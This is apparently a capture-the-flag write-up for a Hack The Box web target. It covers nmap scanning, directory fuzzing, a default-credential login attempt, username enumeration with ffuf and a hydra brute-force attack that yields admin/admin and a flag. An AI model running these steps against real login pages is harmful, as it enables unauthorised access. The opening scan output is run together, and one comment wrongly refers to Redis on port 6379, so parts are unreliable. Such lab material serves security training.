root@htb:~$nmap-sV-sC-T4{targetIP}-p80PORTSTATESERVICEVERSION80/tcpopenhttpnginx1.14.2|_http-title:Welcometonginx!|_http-server-header:nginx/1.14.2*the-SCrunsthedefaultsetofNmapscripts (NSE scripts), which typically includescriptsforserviceenumeration,versiondetection,andotherbasicchecks.root@htb:~$sudonmap--script=vuln{targetIP}-p80PORTSTATESERVICE80/tcpopenhttp|_http-csrf:Couldn't find any CSRF vulnerabilities. |_http-dombased-xss: Couldn'tfindanyDOMbasedXSS.|_http-stored-xss:Couldn't find any stored XSS vulnerabilities. | http-vuln-cve2011-3192: | VULNERABLE: | Apache byterange filter DoS | State: VULNERABLE | IDs: CVE:CVE-2011-3192 BID:49303 | The Apache web server is vulnerable to a denial of service attack when numerous | overlapping byte ranges are requested. | Disclosure date: 2011-08-19 | References: | https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2011-3192 | https://seclists.org/fulldisclosure/2011/Aug/175 | https://www.tenable.com/plugins/nessus/55976 |_ https://www.securityfocus.com/bid/49303 | http-enum: |_ /admin.php: Possible admin folder * the --script=vuln will run scripts that focus specifically on detecting known vulnerabilities in the service running on port 6379 - e.g., weak configurations, or known vulnerabilities in the redis service - if no results are found then the service may be fully patched!
#fuzzing
root@htb:~$ find /usr/share/seclists -iname *common* 2>/dev/null
/usr/share/seclists/Discovery/Web-Content/common.txt
root@htb:~$ cp /usr/share/seclists/Discovery/Web-Content/common.txt .
root@htb:~$ which gobuster
/usr/bin/gobuster
root@htb:~$ gobuster --help
root@htb:~$ gobuster dir -u {targetIP} -w {wordlist} -x {extension}
/admin.php (Status: 200) [Size: 999]
* the 'dir' option specifies the directory busting mode of the tool
* the -w option specifies a wordlist, a collection of common directory
names that are typically used for sites
* the -u option specifies the target's IP address
* the -x option specifies a specific extension to find
#option 1: test low hanging fruit
* try default credentials first since this is a fresh web server install
root@htb:~$ curl -X POST -d 'username=admin&password=admin' http://10.129.21.27/admin.php -L -i
* the -X is used to specify the method {GET, POST, ect}
* the -d option is used to add data to the method, specifically POST method
* the -L option is used to tell curl to follow redirection which
usually happens after successful authentication to a site
* after successfuly authentication, cookies could be received to persist and to not
be needing to login every time the page is visited
- use the -i option to to view the response, which may contain the Set-Cookie header with the authenticated cookie
#option 2: perform brute force
root@htb:~$ burpsuite
root@htb:~$ BROWSER > FoxyProxy > Burp
root@htb:~$ BURP SUITE > Proxy > Intercept is on
root@htb:~$ BROWSER > {targetSite:port}
username field: {arbitraryValue}
password field: {arbitraryValue}
* submit the expected user input
BURP > Proxy
POST /admin.php HTTP/1.1
Host: 10.129.219.55
Origin: http://10.129.219.55
Content-Type: application/x-www-form-urlencoded
Referer: http://10.129.219.55/admin.php
username=invalid&password=invalid
* error msg: Wrong username or password.
root@htb:~$ locate *username*
/usr/share/seclists/Usernames/top-usernames-shortlist.txt
root@htb:~$ cp /usr/share/seclists/Usernames/top-usernames-shortlist.txt .
#identify potential usernames
root@htb:~$ ffuf -w top-usernames-shortlist.txt -u http://10.129.21.27/admin.php -X POST -H "Content-Type: application/x-www-form-urlencoded" -d "username=FUZZ&password=invalid" -mr "Wrong username or password." > potentialUsernames.txt
azureuser [Status: 200, Size: 1071, Words: 136, Lines: 32, Duration: 9ms]
pi [Status: 200, Size: 1071, Words: 136, Lines: 32, Duration: 10ms]
puppet [Status: 200, Size: 1071, Words: 136, Lines: 32, Duration: 10ms]
guest [Status: 200, Size: 1071, Words: 136, Lines: 32, Duration: 10ms]
ftp [Status: 200, Size: 1071, Words: 136, Lines: 32, Duration: 10ms]
vagrant [Status: 200, Size: 1071, Words: 136, Lines: 32, Duration: 10ms]
ec2-user [Status: 200, Size: 1071, Words: 136, Lines: 32, Duration: 10ms]
mysql [Status: 200, Size: 1071, Words: 136, Lines: 32, Duration: 10ms]
oracle [Status: 200, Size: 1071, Words: 136, Lines: 32, Duration: 10ms]
info [Status: 200, Size: 1071, Words: 136, Lines: 32, Duration: 10ms]
ansible [Status: 200, Size: 1071, Words: 136, Lines: 32, Duration: 11ms]
test [Status: 200, Size: 1071, Words: 136, Lines: 32, Duration: 11ms]
user [Status: 200, Size: 1071, Words: 136, Lines: 32, Duration: 11ms]
root [Status: 200, Size: 1071, Words: 136, Lines: 32, Duration: 11ms]
adm [Status: 200, Size: 1071, Words: 136, Lines: 32, Duration: 11ms]
administrator [Status: 200, Size: 1071, Words: 136, Lines: 32, Duration: 11ms]
admin [Status: 200, Size: 1071, Words: 136, Lines: 32, Duration: 11ms]
#brute force login 01.default credentials, 02.tailored list, 03,leaked passwords, etc
root@htb:~$ hydra -L top-usernames-shortlist.txt -P top-usernames-shortlist.txt 10.129.21.27 http-post-form "/admin.php:username=^USER^&password=^PASS^:F=Wrong username or password."
* [80][http-post-form] host: 10.129.21.27 login: admin password: admin
* /admin.php: is the login page to attack
- this login page changes accoding to different sites
* Congratulations! Your flag is: 6483bee07c1c1d57f14e5b0717503c73